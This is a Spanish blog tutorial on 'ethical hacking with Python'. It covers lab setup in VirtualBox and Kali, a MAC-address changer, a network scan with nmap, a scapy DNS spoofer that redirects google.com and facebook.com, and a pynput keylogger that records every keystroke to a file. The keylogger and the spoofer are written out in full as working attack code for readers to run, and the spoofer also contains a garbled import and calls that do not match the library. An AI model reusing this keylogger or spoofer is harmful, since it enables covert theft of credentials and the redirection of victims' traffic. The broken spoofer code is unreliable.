Showing posts with label curso python. Show all posts
Showing posts with label curso python. Show all posts

Guía Definitiva: Hacking Ético con Python - De Cero a Maestro en 2024

La red es un campo de batalla. Y como todo campo de batalla, está llena de trampas, espejismos y oportunidades para aquellos con la visión y las herramientas adecuadas. Hoy, no vamos a hablar de defensa pasiva; vamos a adentrarnos en la mente del atacante, pero con un propósito: el conocimiento. Hoy, desmantelamos la caja negra del hacking ético utilizando el lenguaje que habla con las máquinas: Python.

Este no es otro curso superficial. Es un viaje directo a las entrañas de los sistemas, armado con scripts que tú mismo construirás. Si crees que el hacking ético es solo ejecutar herramientas prefabricadas, prepárate para cambiar de opinión. La verdadera maestría reside en la automatización personalizada, en la capacidad de forzar a la máquina a revelar sus secretos a tu antojo. Y para eso, Python es tu sargento de armas.

Tabla de Contenidos

Introducción

La luz azulada del monitor cortaba la oscuridad de la habitación, un faro solitario en un mar de código. Cada carácter tecleado era un paso más en el laberinto. El objetivo: comprender cómo un atacante podría aprovechar un protocolo de red para obtener acceso no autorizado. No para causar daño, sino para construir defensas más robustas. Aquí, en Sectemple, transformamos la curiosidad en conocimiento aplicable. Y hoy, el conocimiento se escribe en Python.

VirtualBox: El Campo de Pruebas

Antes de lanzar el primer ataque, necesitas un campo de entrenamiento seguro y aislado. Las máquinas virtuales son tu santuario. VirtualBox es la navaja suiza de la virtualización, accesible y potente. Te permite crear entornos aislados donde puedes experimentar sin poner en peligro tu sistema principal. Piensa en ello como tu "sandbox" digital. Instalarlo es el primer acto de un hacker ético: crear el espacio para aprender.

Paso 1: Descarga e Instalación. Dirígete al sitio oficial de VirtualBox y descarga la versión correspondiente a tu sistema operativo. La instalación es tan simple como la mayoría del software: Next, Next, Finish. Pero no subestimes su poder; sin un entorno controlado, tus experimentos son un riesgo innecesario.

Kali Linux: Tu Centro de Mando

Para moverte en las sombras digitales, necesitas las herramientas adecuadas. Kali Linux no es solo un sistema operativo; es la caja de herramientas del pentester moderno. Viene preconfigurado con cientos de herramientas de seguridad, desde escáneres de red hasta frameworks de explotación. Es la base sobre la que construiremos nuestros scripts de Python.

Paso 2: Descarga de Kali Linux. Visita el sitio web oficial de Kali Linux y descarga la imagen ISO. Asegúrate de elegir la arquitectura correcta para tu máquina virtual (normalmente 64 bits). La integridad de la descarga es crucial; verifica los hashes SHA256 para evitar sorpresas desagradables.

Paso 3: Instalación en VirtualBox. Crea una nueva máquina virtual en VirtualBox, asignándole recursos suficientes (mínimo 2GB de RAM, 20GB de disco). Monta la ISO de Kali Linux como unidad óptica y arranca la máquina virtual. Sigue el asistente de instalación, seleccionando la instalación gráfica y optando por el escritorio XFCE para un rendimiento más ágil.

"La seguridad sin conocimiento es solo una ilusión."

Dominando Kali Linux

Una vez instalado Kali, es hora de ensuciarse las manos. Familiarízate con la interfaz gráfica, el terminal y las herramientas preinstaladas. Comprender la estructura de directorios y la ubicación de las herramientas de red es fundamental. Ejecuta comandos básicos como `ifconfig` o `ip addr` para ver tu configuración de red, y `ping` para probar la conectividad.

El terminal es tu arma principal. Aprende los atajos, la autocompletación con `Tab` y cómo realizar búsquedas de comandos. Esta familiaridad te ahorrará tiempo y te permitirá moverte con la agilidad de un fantasma en la máquina.

IDE para Kali: La Mesa de Trabajo

Si bien puedes escribir scripts de Python directamente en el terminal, un Entorno de Desarrollo Integrado (IDE) mejora drásticamente tu productividad. Para Kali Linux, Visual Studio Code (VS Code) es una opción excelente y popular. Es ligero, potente y tiene una gran cantidad de extensiones para Python, depuración y análisis de código.

Paso 4: Instalación de VS Code. Abre una terminal en Kali y usa el gestor de paquetes: 

sudo apt update
sudo apt install code
Una vez instalado, ábrelo y busca la extensión de Python en el marketplace de VS Code. Instálala para obtener resaltado de sintaxis, autocompletado y capacidades de depuración.

Comandos Python: El Lenguaje de la Explotación

Python es el lenguaje elegido para la automatización en ciberseguridad por su sintaxis clara y su vasta cantidad de librerías. Aquí, vamos a ejecutar comandos del sistema directamente desde Python, una técnica fundamental para construir herramientas de pentesting personalizadas.

Paso 5: Ejecutando Comandos del Sistema. La librería `subprocess` de Python es tu puerta de entrada. Permite ejecutar comandos y capturar su salida.

import subprocess

# Ejemplo: Ejecutar 'ifconfig' y obtener la salida
try:
    resultado = subprocess.run(['ifconfig'], capture_output=True, text=True, check=True)
    print(resultado.stdout)
except subprocess.CalledProcessError as e:
    print(f"Error al ejecutar el comando: {e}")

# Ejemplo: Ejecutar 'ping' a una IP
ip_objetivo = "8.8.8.8"
try:
    # Ejecutamos solo 3 pings y capturamos la salida
    resultado_ping = subprocess.run(['ping', '-c', '3', ip_objetivo], capture_output=True, text=True, check=True)
    print(f"Resultado de ping a {ip_objetivo}:\n{resultado_ping.stdout}")
except subprocess.CalledProcessError as e:
    print(f"Error al ejecutar ping: {e}")

Dominar `subprocess` te permite integrar la funcionalidad de cualquier herramienta de línea de comandos en tus scripts de Python, abriendo un universo de posibilidades para la automatización.

MacChanger: El Arte del Disfraz

Modificar la dirección MAC de tu interfaz de red es una táctica básica para el anonimato o para eludir ciertas listas de control de acceso. Un script simple en Python puede automatizar este proceso, algo que a menudo se hace manualmente con herramientas como `macchanger`.

Paso 6: Script de MacChanger Básico. Este script utilizará `subprocess` para ejecutar comandos de red y modificar la MAC.

import subprocess
import random

def obtener_interfaz_red():
    """Intenta obtener una interfaz de red activa (ej: eth0, wlan0)."""
    try:
        ip_addr_output = subprocess.check_output(['ip', 'addr']).decode('utf-8')
        for line in ip_addr_output.splitlines():
            if 'state UP' in line and not line.startswith('lo'):
                # La línea anterior contiene la interfaz (ej: '2: eth0:')
                interface_line = ip_addr_output.splitlines()[ip_addr_output.splitlines().index(line) - 1]
                return interface_line.split(':')[1].strip()
        return None
    except Exception as e:
        print(f"Error al obtener interfaz de red: {e}")
        return None

def generar_mac_aleatoria():
    """Genera una dirección MAC aleatoria."""
    mac = [random.randint(0x00, 0x7f), random.randint(0x00, 0xff),
           random.randint(0x00, 0xff), random.randint(0x00, 0xff),
           random.randint(0x00, 0xff), random.randint(0x00, 0xff)]
    return ':'.join(map(lambda x: "%02x" % x, mac))

def cambiar_mac(interfaz, nueva_mac):
    """Cambia la dirección MAC de una interfaz de red."""
    try:
        print(f"[*] Desactivando interfaz {interfaz}...")
        subprocess.run(['sudo', 'ip', 'link', 'set', interfaz, 'down'], check=True)
        print(f"[*] Cambiando MAC de {interfaz} a {nueva_mac}...")
        subprocess.run(['sudo', 'macchanger', '-m', nueva_mac, interfaz], check=True)
        print(f"[*] Activando interfaz {interfaz}...")
        subprocess.run(['sudo', 'ip', 'link', 'set', interfaz, 'up'], check=True)
        print(f"[+] MAC de {interfaz} cambiada exitosamente.")
        
        # Verificar la nueva MAC
        mac_actual = subprocess.check_output(['macchanger', '-s', interfaz]).decode('utf-8').splitlines()[0].split(' ')[-1]
        print(f"[*] MAC actual verificada: {mac_actual}")

    except subprocess.CalledProcessError as e:
        print(f"[!] Error al cambiar MAC: {e}")
    except FileNotFoundError:
        print("[!] Error: El comando 'macchanger' no está instalado. Instálalo con 'sudo apt install macchanger'.")

if __name__ == "__main__":
    interfaz = obtener_interfaz_red()
    if interfaz:
        mac_aleatoria = generar_mac_aleatoria()
        cambiar_mac(interfaz, mac_aleatoria)
    else:
        print("[!] No se pudo detectar una interfaz de red activa. Asegúrate de que tu adaptador de red esté conectado y activo.")
        print("Ejemplo de uso manual si conoces la interfaz (ej: eth0):")
        print("  cambiar_mac('eth0', '00:11:22:33:44:55')")
        
# Nota: Requiere permisos de root para ejecutar 'ip link set' y 'macchanger'.
# Ejecutar este script con 'sudo python tu_script.py'

Este script es un ejemplo: `Obtener Interfaz` intenta ser inteligente, pero en un escenario real deberás especificar la interfaz. Para que `macchanger` funcione, debes instalarlo (`sudo apt install macchanger`). Además, recuerda que modificar la dirección MAC requiere privilegios de root.

Identificar Usuarios: Espiando la Red

Comprender quién está en tu red es el primer paso para detectar actividad sospechosa. Este script utiliza comandos del sistema para listar los hosts activos y, opcionalmente, intentar identificar usuarios conectados.

Paso 7: Identificar Usuarios Conectados. Usaremos `nmap` o comandos básicos para escanear y `w` o `who` para usuarios en sistemas Linux específicos.

import subprocess

def escanear_red(red):
    """Escanea la red para encontrar hosts activos usando nmap."""
    print(f"[*] Escaneando red: {red}")
    try:
        # Escaneo rápido que busca hosts activos en la subred dada
        comando = ['sudo', 'nmap', '-sn', red]
        resultado = subprocess.run(comando, capture_output=True, text=True, check=True)
        print(f"[+] Hosts encontrados:\n{resultado.stdout}")
        
        # Procesar la salida de nmap para obtener IPs activas
        ips_activas = []
        for linea in resultado.stdout.splitlines():
            if 'Nmap scan report for' in linea:
                ips_activas.append(linea.split('for ')[-1].strip())
        return ips_activas

    except subprocess.CalledProcessError as e:
        print(f"[!] Error al ejecutar nmap. Asegúrate de que esté instalado ('sudo apt install nmap'). Error: {e}")
        return []
    except FileNotFoundError:
        print("[!] Error: El comando 'nmap' no está instalado.")
        return []

def identificar_usuarios_en_host(ip):
    """Intenta identificar usuarios conectados a un host específico (requiere permisos)."""
    print(f"\n[*] Intentando identificar usuarios en {ip}...")
    try:
        # Comando para listar usuarios conectados en Linux. Puede fallar por permisos.
        comando_usuarios = ['ssh', f'{ip}', 'who'] # o 'w'
        # Ejecutamos en modo no interactivo, puede requerir configuración de SSH
        # Para este ejemplo, asumimos que podemos conectarnos sin contraseña o ya estamos autenticados.
        # En un pentest real, esto requeriría credenciales o explotación previa.
        # Este ejemplo es ilustrativo y puede no funcionar sin configuración adicional.
        
        # Para simplificar y evitar requerir SSH sin contraseña para este ejemplo
        # podemos simular la salida o usar una herramienta solo si es local.
        # Si ejecutas esto en tu propia red local, 'who' en tu máquina te dará información.
        
        print(f"[!] Identificación de usuarios remotos vía SSH comentada por complejidad de configuración.")
        print(f"[!] Considera ejecutar 'who' o 'w' directamente en sistemas Linux accesibles.")
        
        # Comando para obtener MAC y IP usando ARP (si está en la red local)
        arp_output = subprocess.check_output(['arp', '-n']).decode('utf-8')
        for line in arp_output.splitlines():
             if ip in line:
                 mac_addr = line.split()[2].strip()
                 print(f"  -> MAC para {ip}: {mac_addr}")
                 
    except subprocess.CalledProcessError as e:
        print(f"[!] Error al ejecutar comandos de identificación de usuarios en {ip}: {e}")
    except FileNotFoundError:
        print("[!] Error: Comando SSH o ARP no encontrado.")
    except Exception as e:
        print(f"[!] Error inesperado al identificar usuarios en {ip}: {e}")


if __name__ == "__main__":
    # Define tu rango de red local, ej: "192.168.1.0/24"
    rango_red = input("Introduce el rango de red a escanear (ej: 192.168.1.0/24): ")
    
    ips_encontradas = escanear_red(rango_red)
    
    if ips_encontradas:
        print("\n--- Detalles de IPs encontradas ---")
        for ip in ips_encontradas:
            identificar_usuarios_en_host(ip)
    else:
        print("\nNo se encontraron hosts activos o hubo un error en el escaneo.")

# Nota: 'nmap' requiere permisos de root para algunos escaneos; 'ssh' sin contraseña
# es complejo de configurar para un script simple. La parte de 'arp' es más local.
# Este script es un punto de partida para la enumeración de red.
# Para análisis avanzados, considera librerías Python como 'scapy'.
# La compra de librerías avanzadas como Scapy Pro para análisis de red es una inversión inteligente.

Este script es experimental. La identificación de usuarios remotos requiere acceso SSH o herramientas específicas. Sin embargo, el escaneo de red con `nmap` es un paso esencial. Para obtener resultados consistentes, herramientas de escaneo más avanzadas o librerías como `scapy` son la ruta a seguir. Si buscas automatizar análisis a gran escala, considera certificaciones como la CompTIA Security+ o buscar cursos más profundos en análisis de red.

DNS Spoofer: Manipulando el Flujo de Datos

El DNS Spoofing es una técnica para redirigir el tráfico web legítimo a sitios maliciosos al falsear las respuestas del servidor DNS. Crear un DNS Spoofer con Python te enseña cómo funcionan estos ataques y cómo podrías defenderte de ellos.

Paso 8: Creando un DNS Spoofer. Usaremos la librería `scapy` dentro de Python para interceptar y manipular paquetes DNS.

from scapy.all import IP, UDP, DNS, DNSérer, get_if_addr, sniff

# Diccionario para mapear dominios a IPs falsas
# Ejemplo: Redirigir google.com a una IP local (ej: 192.168.1.100)
# ¡USAR CON EXTREMA PRECAUCIÓN Y SOLO EN REDES CONTROLADAS!
dns_table = {
    b"google.com.": "192.168.1.100",
    b"facebook.com.": "192.168.1.100"
}

def procesar_paquete_dns(paquete):
    if paquete.haslayer(DNS) and paquete.getlayer(DNS).qr == 0: # Es una consulta DNS (Request)
        qname = paquete.getlayer(DNS).qd.qname # Nombre de dominio consultado

        if qname in dns_table:
            ip_falsa = dns_table[qname]
            
            # Construimos la respuesta DNS spoofed
            respuesta_dns = DNS(id=paquete.getlayer(DNS).id, qr=1, aa=1, ra=1, qd=paquete.getlayer(DNS).qd)
            respuesta_dns.an = DNSRR(rrname=qname, ttl=10, rdata=ip_falsa) # A record (IP address)

            # Construimos el paquete IP/UDP completo
            paquete_ip_udp = IP(dst=paquete.getlayer(IP).src, src=paquete.getlayer(IP).dst)
            paquete_udp = UDP(sport=paquete.getlayer(UDP).dport, dport=paquete.getlayer(UDP).sport)
            
            paquete_final = paquete_ip_udp/paquete_udp/respuesta_dns
            
            print(f"[+] Spoofing DNS: {qname.decode().strip()} -> {ip_falsa}")
            paquete_final.send() # Enviamos el paquete spoofed

try:
    # Obtenemos la IP de la interfaz principal de red
    mi_ip = get_if_addr("eth0") # Cambia "eth0" por tu interfaz principal (ej: wlan0)
    print(f"[*] Iniciando DNS Spoofing en {mi_ip} (Interfaz: eth0)")
    print("[*] Nota: Este script requiere privilegios de root y Scapy instalado ('pip install scapy').")
    print("[*] Para detener, presiona Ctrl+C.")

    # Escuchamos tráfico en la interfaz especificada, filtrando por paquetes DNS
    # El 'filter' de BPF es crucial para no procesar todo el tráfico.
    sniff(iface="eth0", filter="udp port 53", prn=procesar_paquete_dns, store=0)

except PermissionError:
    print("[!] Error: Permiso denegado. Ejecuta este script con 'sudo python tu_script.py'.")
except ImportError:
    print("[!] Error: La librería Scapy no está instalada. Instálala con 'pip install scapy'.")
except OSError as e:
    if "No such device" in str(e):
        print(f"[!] Error: Interfaz de red especificada ('eth0') no encontrada.")
    else:
        print(f"[!] Error del sistema operativo: {e}")
except KeyboardInterrupt:
    print("\n[*] DNS Spoofing detenido.")
except Exception as e:
    print(f"[!] Error inesperado: {e}")

# ¡ADVERTENCIA! El DNS Spoofing es una técnica de ataque.
# Utiliza este código ÚNICAMENTE en entornos de prueba controlados o con permiso explícito.
# El uso indebido puede tener consecuencias legales.
# Si buscas herramientas comerciales para el análisis y defensa de redes,
# considera plataformas como Wireshark Enterprise o servicios de pentesting profesional.

La librería `scapy` es un arma poderosa, pero requiere un entendimiento profundo. Asegúrate de ejecutarlo con root (`sudo`) y de tener `scapy` instalado (`pip install scapy`). Este código es un ejemplo crudo; para un uso profesional, podrías necesitar enfocarlo con filtros BPF más específicos y una lógica de envenenamiento más robusta.

Keylogger: Escuchando en Silencio

Un keylogger registra cada pulsación de tecla en un sistema. Crear uno con Python es una demostración de cómo los atacantes pueden robar credenciales o información sensible. De nuevo, úsalo solo para fines educativos y éticos.

Paso 9: Desarrollando un Keylogger. La librería `pynput` es ideal para esto, permitiendo monitorizar eventos de teclado y ratón.

from pynput import keyboard
import logging
import os

# Directorio donde se guardará el log
log_dir = "" # Deja vacío para el directorio actual, o especifica (ej: "/var/log/keylogs/")
# Asegurarse de que el directorio exista si se especifica uno
# if log_dir and not os.path.exists(log_dir):
#     os.makedirs(log_dir)

# Configura el logging para guardar las pulsaciones en un archivo
# Puedes ajustar el nombre del archivo y el formato
log_file = os.path.join(log_dir, "keylog.txt")
logging.basicConfig(filename=log_file, 
                    level=logging.DEBUG, 
                    format='%(asctime)s: %(message)s')

def on_press(key):
    try:
        # Registra la pulsación de la tecla normal
        logging.info(f'Tecla presionada: {key.char}')
    except AttributeError:
        # Si es una tecla especial (ej. Shift, Ctrl, Enter)
        # Convertimos la representación de la tecla especial a string
        special_key_str = str(key)
        if key == keyboard.Key.space:
            special_key_str = ' ' # Representar espacio como un espacio
        elif key == keyboard.Key.enter:
            special_key_str = '[ENTER]\n' # Representar Enter con salto de línea
        elif key == keyboard.Key.tab:
            special_key_str = '[TAB]'
        elif key == keyboard.Key.backspace:
            special_key_str = '[BACKSPACE]'
            
        logging.info(f'Tecla especial presionada: {special_key_str}')
        
        # Opcional: Salir con una combinación específica (ej: Ctrl+Esc)
        # if key == keyboard.Key.esc and keyboard.Controller().pressed(keyboard.Key.ctrl):
        #    print("Saliendo del keylogger...")
        #    return False # Detiene el listener

def on_release(key):
    # Puedes añadir lógica aquí si necesitas saber cuándo se suelta una tecla
    # print('{0} liberada'.format(key))
    pass # No hacemos nada al soltar la tecla para este keylogger básico

print("[*] Iniciando Keylogger...")
print("[*] Las pulsaciones se guardarán en:", os.path.abspath(log_file))
print("[*] Presiona Ctrl+C en la consola para detener el keylogger.")

# Configura el listener para monitorizar eventos del teclado
# 'with' asegura que el listener se detenga limpiamente
try:
    with keyboard.Listener(on_press=on_press, on_release=on_release) as listener:
        listener.join()
except KeyboardInterrupt:
    print("\n[*] Keylogger detenido.")
except Exception as e:
    print(f"[!] Ocurrió un error: {e}")

# Advertencia: El uso de keyloggers es ilegal y poco ético sin consentimiento explícito.
# Este código se proporciona solo con fines educativos para entender las amenazas.
# Para obtener herramientas más robustas y seguras para análisis de seguridad,
# considera plataformas de bug bounty como HackerOne o Bugcrowd, donde la ética es primordial.

Para que este script funcione, necesitarás instalar la librería `pynput` con `pip install pynput`. Recuerda que este código, al igual que los anteriores, solo debe ser utilizado en entornos de prueba controlados. Si buscas profesionalizarte en la detección y mitigación de este tipo de amenazas, las certificaciones como GIAC Certified Intrusion Analyst (GCIA) te darán un camino claro.

Arsenal del Operador/Analista

La tecnología evoluciona, y tu arsenal debe hacerlo con ella. Para moverte en las sombras digitales con eficacia, necesitas las herramientas adecuadas y el conocimiento para usarlas. Aquí tienes una selección curada que todo operador o analista debería considerar:

  • Software Esencial:
    • Burp Suite Pro: Indispensable para el análisis web avanzado. La versión gratuita es un buen punto de partida, pero las capacidades de la versión de pago son insustituibles para profesionales serios.
    • Wireshark: El estándar de facto para el análisis de paquetes de red. Si quieres entender qué se cuece en tu red, esta es tu herramienta.
    • JupyterLab: Un entorno interactivo para Python que revoluciona el análisis de datos y la automatización de tareas de seguridad.
    • Metasploit Framework: Aunque este curso se centra en Python, conocer Metasploit es fundamental para la explotación y el testeo de penetración.
  • Hardware Especializado:
    • WiFi Pineapple NANO: Para auditorías de redes inalámbricas y pruebas de penetración en entornos Wi-Fi.
  • Libros Clave:
    • "The Web Application Hacker's Handbook" de Dafydd Stuttard y Marcus Pinto: La biblia del pentesting web.
    • "Python for Data Analysis" de Wes McKinney: Para dominar el análisis de datos con Python, esencial en threat hunting.
    • "Black Hat Python" de Justin Seitz: Un clásico para scripts de hacking con Python.
  • Certificaciones Relevantes:
    • OSCP (Offensive Security Certified Professional): Si quieres demostrar habilidades prácticas en pentesting.
    • CISSP (Certified Information Systems Security Professional): Para un entendimiento más amplio y de gestión de la seguridad.
    • CEH (Certified Ethical Hacker): Un punto de partida común, aunque las certificaciones más prácticas como OSCP suelen tener mayor reconocimiento técnico.

No te limites a lo gratuito. Las herramientas profesionales y la formación de calidad como la que encuentras en plataformas de bug bounty (HackerOne, Bugcrowd) son inversiones que se pagan solas con conocimientos y oportunidades.

Preguntas Frecuentes

¿Necesito ser un experto en Python para empezar?
No, este curso está diseñado para empezar desde cero. Sin embargo, tener conocimientos básicos de programación acelerará tu aprendizaje. Si no sabes Python, considera nuestro curso introductorio de programación Python disponible en este enlace.
¿Es legal usar estas técnicas?
Estas técnicas son para hacking ético. Utilizarlas en sistemas o redes sin permiso explícito es ilegal. El objetivo es aprender a defender, no a atacar.
¿Qué debo hacer si `scapy` o `pynput` no se instalan?
Asegúrate de tener `pip` actualizado (`pip install --upgrade pip`) y de estar ejecutando el comando en la versión correcta de Python. A veces, es necesario instalar dependencias del sistema (`sudo apt install python3-dev libpcap-dev` para `scapy` en Debian/Ubuntu).
¿Por qué debo usar una máquina virtual?
Las máquinas virtuales (como VirtualBox) crean un entorno controlado y aislado. Esto te permite experimentar con herramientas de hacking sin riesgo de dañar tu sistema operativo principal o de ser detectado incorrectamente en la red. Es la práctica estándar para cualquier aprendizaje en ciberseguridad.
¿Dónde puedo practicar hacking ético de forma segura y legal?
Plataformas como Hack The Box, TryHackMe, VulnHub y CTF (Capture The Flag) ofrecen entornos diseñados para practicar tus habilidades de forma segura y legal. Participar en competiciones de CTF es una excelente manera de probar tus conocimientos contra otros entusiastas y refinar tus técnicas.

El Contrato: Tu Primer Script de Reconocimiento Automatizado

Has recorrido un camino que va desde la configuración de tu laboratorio virtual hasta la manipulación de paquetes de red y la escucha discreta. La teoría es importante, pero la práctica es ley. Tu contrato es aplicar este conocimiento de forma proactiva.

Tu Misión: Escribe un script en Python que combine la enumeración de red (usando `nmap` via `subprocess` o `python-nmap`) con la identificación de puertos abiertos en los hosts encontrados. El script debe:

  1. Pedir al usuario un rango de red (ej: `192.168.1.0/24`).
  2. Escanear la red para encontrar hosts activos.
  3. Para cada host activo, realizar un escaneo de puertos común (ej: 21, 22, 80, 443, 3389).
  4. Imprimir una tabla legible mostrando la IP, el puerto abierto y, si es posible, el servicio asociado a ese puerto (esto último puedes investigarlo o dejarlo para un script más avanzado).

Este ejercicio te obligará a integrar varias piezas de lo aprendido, a manejar la salida de herramientas externas y a estructurar la información de manera útil. Es el primer paso para construir tus propias herramientas de reconocimiento, un componente vital en cualquier operación de pentesting o threat hunting. ¿Estás listo para firmar el contrato?

at No comments:
Labels: , , , , , , ,
Subscribe to: Posts (Atom)